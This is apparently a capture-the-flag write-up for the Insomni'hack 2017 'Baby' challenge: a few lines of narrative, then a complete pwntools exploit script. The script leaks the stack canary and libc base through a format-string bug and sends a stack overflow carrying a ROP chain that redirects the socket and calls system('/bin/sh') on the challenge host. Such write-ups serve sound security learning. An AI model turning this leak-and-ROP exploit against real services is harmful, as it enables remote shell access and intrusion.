It was actually a nice challenge, you get a format string, stack AND heap overflow. Trick is, ALL of the security is on.
There are many ways to do this challenge, I went for info leak the cookie and segments with the format string and then rop to system.
I got it working locally with a bit of a hack job, SEVERAL HOURS LATER, I had finished my make-code-less-shit campaign, only to realise that pwntools wasn't having a fun time with the network.
---
Turns out that wasn't the case, the problem was I was assuming some offsets that I shouldn't have assumed.
I got so frustrated that I wrote a script to leak and dereference pointers from the format string and then try and find the dereferenced string in the libc binary given. Once I found a hit I could then subtract it's location in libc and I'd know the start of libc on the remote server.
Then I leak the cookie and do my rop chain.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pasteBin
#
# Insomni'hack 2017 Baby pwn
# format string to leak libc and cookie
# stack overflow to rop chain dup(4,0) dup(4,1) system("/bin/sh")
import sys
from pwn import *
local = True
if len(sys.argv) == 2:
local = False
def extract_printf(refs):
"""
Given a bunch of refs e.g %x, %llx, %10$s
return a list of the things they return
"""
# leak the 'r'th thing off the stack
gen_ref = lambda r: "*{ref}*".format(ref=r)
# generate a few of these in a row
payload = "!!"
payload += ''.join([gen_ref(r) for r in refs])
payload += "*OO"
conn.sendline(payload)
conn.recvuntil("!!*")
leaks = conn.recvuntil("*OO")
leaks = leaks.split('**')[:-1] # remove the OO
conn.recvuntil("Your format >")
return leaks
# get one offset
def deref_offset(offset):
"""
Leak the value at an offset using the format string
"""
code_leak_payload = "%{ref}$llx".format(ref=offset)
return int(extract_printf([code_leak_payload])[0],16)
# leak a pointer string
def leak_offset(offset):
code_leak_payload = "%{ref}$s".format(ref=offset)
return extract_printf([code_leak_payload])[0]
# get a few
def deref_offset_list(offset, length):
# leak the 'r'th thing off the stack
offset_str = lambda r: "%{ref}$llx".format(ref=r)
refs = [offset_str(x) for x in range(offset, offset + length)]
ret = [ int(x,16) for x in extract_printf(refs)]
# print ret
return ret
# get a few strings
def leak_offset_list(offsets):
"""
Deref some things as strings using %s
"""
# leak the 'r'th thing off the stack
offset_str = lambda r: "%{ref}$s".format(ref=r)
refs = [offset_str(x) for x in offsets]
ret = [ x for x in extract_printf(refs)]
# print ret
return ret
def valid_pointer(data):
"""
Ballpark guess if something is a pointer, adjust to taste
helps it to not crash :D
"""
if hex(data)[:3] != "0x7" and hex(data)[:3] != "0x5":
return False
if hex(data)[:4] == "0x78": # Y in asci
return False
if "000" in hex(data):
return False
dLen = len(hex(data))
if dLen != len("0x55f55d09d6a0") and dLen != len("0x63b944c753c6fc00"):
return False
return True
def find_libc_offset():
"""
1) Leak memory using the format string
2) Find the valid pointers/offsets
3) Deref them and compare with libc
4) if match, calculate offset
"""
# leak a big range and then deref all the pointers till you find one in libc
# then adjust the offset
x = 3
# leak 10 at a time
leak_size = 10
while True:
# 1) Leak memory using the format string
pointers = deref_offset_list(x, leak_size)
# 2) Find the valid pointers/offsets
valid_pointers = [pointer for pos, pointer in enumerate(pointers) if valid_pointer(pointer)]
valid_offsets = [pos + x for pos, pointer in enumerate(pointers) if valid_pointer(pointer)]
if len(valid_pointers) > 0:
# 3) Deref them and compare with libc
strings = leak_offset_list(valid_offsets)
for pointer, string in zip(valid_pointers, strings):
if len(string) > 1: # only worth checking for more than 1 byte
# search for the string in libc
code_segments = list(libc.search(string))
# is it unique in libc?
if len(code_segments) == 1:
offset_into_libc = code_segments[0]
return pointer - offset_into_libc
x += leak_size
addr = "127.0.0.1"
libc = elf.ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
if not local:
addr = "baby.teaser.insomnihack.ch"
libc = elf.ELF("libc.so")
conn = remote(addr, 1337)
context.arch = 'amd64'
welcome = conn.recvuntil('Your choice >')
print welcome,
conn.sendline("2") # select format string
conn.recvuntil("Your format >")
conn.sendline("A"*100) # we don't want to find pointers that we might overwrite so clear it now
conn.recvuntil("Your format >")
# get the cookie
cookie = deref_offset(138)
libc.address = find_libc_offset() # smart memory leaking
payload = "A"*8*129 # padding
payload += p64(cookie) # stack cookie
payload += "A"*8 # padding
# use the magical pwntools rop functionality
# alternativly if I needed to make a tight rop chain
# I'd use libc.search(assemble("pop rdi; ret"))
rop = ROP(libc)
rop.dup2(4,0)
rop.dup2(4,1)
rop.dup2(4,2)
rop.system(list(libc.search("/bin/sh\x00"))[0])
print rop.dump()
payload += str(rop)
# time to drop the shell :D
conn.send('\n')
conn.recvuntil('Your choice > ')
conn.sendline('1')
conn.recvuntil("How much bytes you want to send ? ")
a = str(len(payload))
conn.send(a + (10-len(a))*'\x00')
conn.send(payload)
# we get a shell
conn.interactive()
conn.close()